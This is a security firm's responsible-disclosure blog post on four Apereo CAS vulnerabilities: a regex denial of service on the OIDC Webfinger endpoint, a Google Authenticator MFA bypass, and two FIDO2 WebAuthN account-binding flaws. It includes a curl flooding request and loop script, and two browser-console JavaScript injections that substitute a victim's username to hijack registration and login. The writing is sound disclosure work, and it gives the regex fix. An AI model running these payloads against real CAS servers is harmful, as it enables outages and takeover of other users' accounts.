13/06/2025
Blog technique
Responsible disclosure of vulnerabilities found on Apereo CAS
Lucile Razé, Jean-Léon Cusinato and Andy Russon
During this pentest, we identified 4 vulnerabilities, presented hereafter, on the integration of the following protocols:
- OpenID Connect,
- Google Authenticator,
- Fido2 WebAuthN.
Apereo published a post detailing these vulnerabilities on its website.

Denial of Service via OpenID Connect Webfinger Endpoint
Quick explanation of OpenID Connect Webfinger
OpenID Connect Webfinger is a discovery mechanism used to determine the OpenID Connect provider (OP) for a given user identifier, typically an email-like address (e.g., [email protected]). When a relying party (RP) receives such an identifier, it uses the Webfinger protocol to query a well-known URL (/.well-known/webfinger) at the domain (example.com) to retrieve information about the user’s OpenID provider. This enables dynamic configuration and federated login without hardcoding identity providers, making it a key component in federated identity workflows.
CVE-2025-XXXX
The official CVE identifier is not yet available and will be updated once the number is assigned.
/cas/oidc/.well-known/webfinger endpoint
. The request can be repeated multiple times per second to prevent the CAS server from functioning:
- Send a request to:
/cas/oidc/.well-known/webfinger?ressources=https://a@<1 repeated 10000 times>?
- Repeat the request multiple times per second.
amossys@debian:~/vuln_test$ cat req.sh
#!/bin/bash
curl https://cas.example.com/cas/oidc/.well-known/webfinger?resource=https://a@111[...1 repeated 10k times...]111?
amossys@debian:~/vuln_test$ cat ReDOS.sh
#!/bin/bash
# Number of iterations you want to run
ITERATIONS=5000 # Adjust this number based on how long you want the test to run
for ((i=0; i
The vulnerability can also be simulated through regex101: https://regex101.com/r/UDSBP9/1.
This vulnerability will cause an excessive and uncontrolled CPU usage (CWE-400) on the server to process and match the content. In a configuration following the CAS requirement , each request of the PoC takes approximately 40 seconds to be completed. The CAS server will be unresponsive and users will be unable to authenticate if enough request are sent.
A fix was proposed by replacing the regular expression:
^((https|acct|http|mailto|tel|device):(//)?)?((([^@]+)@)?(([^\?#:/]+)(:(\d*))?))([^\?#]+)?(\?([^#]+))?(#(.*))?$
with
^((https|acct|http|mailto|tel|device):(//)?)?((([^@]+)@)?(([^\?#:/]+)(:(\d*))?))([^\?#]+)?(\?([^#]*))?(#(.*))?$
After applying this fix, no more DOS could be triggered manually or through a fuzzing campain.
Bypass of the Google Authenticator authentication
Quick explanation of the Google Authenticator protocol


PIN are Time-based Once Password (TOTP) calculated according to the RFC 6238 with the secret key and the number of 30-second periods since the Unix epoch used as arguments to HMAC-SHA-1.
PIN = Truncate(« HMAC-SHA-1 » (key,counter))
PIN are recalculated every 30 seconds and can be used only once. The user must input its PIN before the end of the 30 seconds of validity.
CVE-2025-XXXX
The official CVE identifier is not yet available and will be updated once the number is assigned.
The vulnerability has been found during the authentication, when the registration is done.
After the user authenticates itself with its CAS username and password, it arrives at the page shown below. The user can then select the “Sélectionner un périphérique” button to arrive on another web page (allowing it to choose its Authenticator device). By clicking on the “Supprimer un périphérique” button, the server allows it to remove the registered device.
After that, the protocol believes that it is the first authentication of this user (because it does not know any key or device associated with this user), and displays a QR code to add a new device.

Using this vulnerability, an attacker knowing a user’s username and password could then bypass the multifactor authentication. It is important to select the device for the multifactorial authentication after the password authentication, but the feature to remove a device or to add a new device should only be available after a complete authentication.
Bypass of the FIDO2 WebAuthN authentication
Two vulnerabilities were discovered on FIDO2 WebAuthN authentication.
Quick explanation of the FIDO2 WebAuthN protocol
WebAuthN is a core component of the FIDO2 project. The specification of WebAuthN protocol is available at https://www.w3.org/TR/webauthn-2. It implies a web site, a web navigator and an authenticator. The authenticator is generally an external device like USB, Bluetooth, NFC or emulated token. For the analysis, the authenticator is emulated with https://github.com/bulwarkid/virtual-fido/.
For the registration, the server send session information like the accepted signature scheme. The authenticator selects a scheme and generates a key pair. The public key and authenticator data are shared with and stored by the server.


CVE-2025-XXXX
The official CVE identifier is not yet available and will be updated once the number is assigned.
The vulnerability has been found during the registration process.
CAS does not verify that the FIDO2 WebAuthN registration is associated with the same account as the one that has just been authenticated with the CAS password. That is why a malicious user with a legitimate account can register a public key in the server for another user if one of the following two prerequisites are matched:
- the victim user does not have a FIDO public key registered on its account,
- the administrator has allowed users to have several public keys registered for a user account.

The following scheme illustrates the two steps to exploit this vulnerability. The user1 is an attacker and the user2 is a victim. After its legitimate login, the attacker (user1) can register its own FIDO2 device on the account of user2.

Below is an example of JavaScript script to inject in the navigator console to change the user after the password authentication. Whenever you see victim_user
, replace it with the actual username of the victim.
function register(username, displayName, credentialNickname, csrfToken,
requireResidentKey = false,
getRequest = getRegisterRequest) {
let request;
username="victim_user";
displayName="victim_user";
return performCeremony({
getWebAuthnUrls,
getRequest: urls => getRequest(urls, username, displayName, credentialNickname, requireResidentKey, csrfToken),
statusStrings: {
init: 'Initiating registration ceremony with server...',
authenticatorRequest: 'Asking authenticators to create credential...',
success: 'Registration successful.',
},
executeRequest: req => {
request = req;
return executeRegisterRequest(req);
}
})
.then(data => {
console.log(`registration data: ${JSON.stringify(data.registration)}`);
if (data.registration) {
const nicknameInfo = {nickname: data.registration.credentialNickname};
if (data.registration && data.registration.attestationMetadata) {
showDeviceInfo(extend(
data.registration.attestationMetadata.deviceProperties,
nicknameInfo
));
} else {
showDeviceInfo(nicknameInfo);
}
if (!data.attestationTrusted) {
addMessage("Attestation cannot be trusted.");
} else {
setTimeout(() => {
$('#sessionToken').val(session.sessionToken);
console.log("Submitting registration form");
$('#form').submit();
}, 2500);
}
}
})
.catch((err) => {
setStatus('Registration failed.');
console.error('Registration failed', err);
if (err.name === 'NotAllowedError') {
if (request.publicKeyCredentialCreationOptions.excludeCredentials
&& request.publicKeyCredentialCreationOptions.excludeCredentials.length > 0
) {
addMessage('Credential creation failed, probably because an already registered credential is available.');
} else {
addMessage('Credential creation failed for an unknown reason.');
}
} else if (err.name === 'InvalidStateError') {
addMessage(`This authenticator is already registered for the account "${username}".`)
} else if (err.message) {
addMessage(`${err.message}`);
} else if (err.messages) {
addMessages(err.messages);
}
return rejected(err);
});
}
CVE-2025-XXXX
The official CVE identifier is not yet available and will be updated once the number is assigned.
The vulnerability has been found during the authentication, when the registration is done.
As for the registration, CAS does not verify that the FIDO2 WebAuthN authentication is associated with the same account as the one that has just been authenticated with the CAS password. That is why a malicious user with a legitimate account and knowing the password of a victim user can connect to the victim account (bypassing its MFA).
The following scheme illustrates the steps to exploit this vulnerability. The user1 is an attacker and the user2 is a victim.

Below is a JavaScript script that can be injected by the navigator console to change the username after the password authentication. Whenever you see victim_user
, replace it with the actual username of the victim.
function authenticate(username = null, getRequest = getAuthenticateRequest) {
$('#deviceTable tbody tr').remove();
$('#divDeviceInfo').hide();
hideDeviceInfo();
username="victim_user";
return performCeremony({
getWebAuthnUrls,
getRequest: urls => getRequest(urls, username),
statusStrings: {
init: 'Initiating authentication ceremony...',
authenticatorRequest: 'Asking authenticators to perform assertion...',
success: 'Authentication successful.',
},
executeRequest: executeAuthenticateRequest,
}).then(data => {
$('#divDeviceInfo').show();
console.log(`Received: ${JSON.stringify(data, undefined, 2)}`);
if (data.registrations) {
data.registrations.forEach(reg => {
addDeviceAttributeAsRow("Username", reg.username);
addDeviceAttributeAsRow("Credential Nickname", reg.credentialNickname);
addDeviceAttributeAsRow("Registration Date", reg.registrationTime);
addDeviceAttributeAsRow("Session Token", data.sessionToken);
if (reg.attestationMetadata) {
const deviceProperties = reg.attestationMetadata.deviceProperties;
if (deviceProperties) {
addDeviceAttributeAsRow("Device Id", deviceProperties.deviceId);
addDeviceAttributeAsRow("Device Name", deviceProperties.displayName);
showDeviceInfo({
"displayName": deviceProperties.displayName,
"imageUrl": deviceProperties.imageUrl
})
}
}
});
$('#authnButton').hide();
setTimeout(() => {
$('#token').val(data.sessionToken);
console.log("Submitting authentication form");
$('#webauthnLoginForm').submit();
}, 1500);
}
return data;
}).catch((err) => {
setStatus(authFailTitle);
if (err.name === 'InvalidStateError') {
addMessage(`This authenticator is not registered for the account "${username}".`)
} else if (err.message) {
addMessage(`${err.name}: ${err.message}`);
} else if (err.messages) {
addMessages(err.messages);
}
console.error('Authentication failed', err);
addMessage(authFailDesc);
return rejected(err);
});
}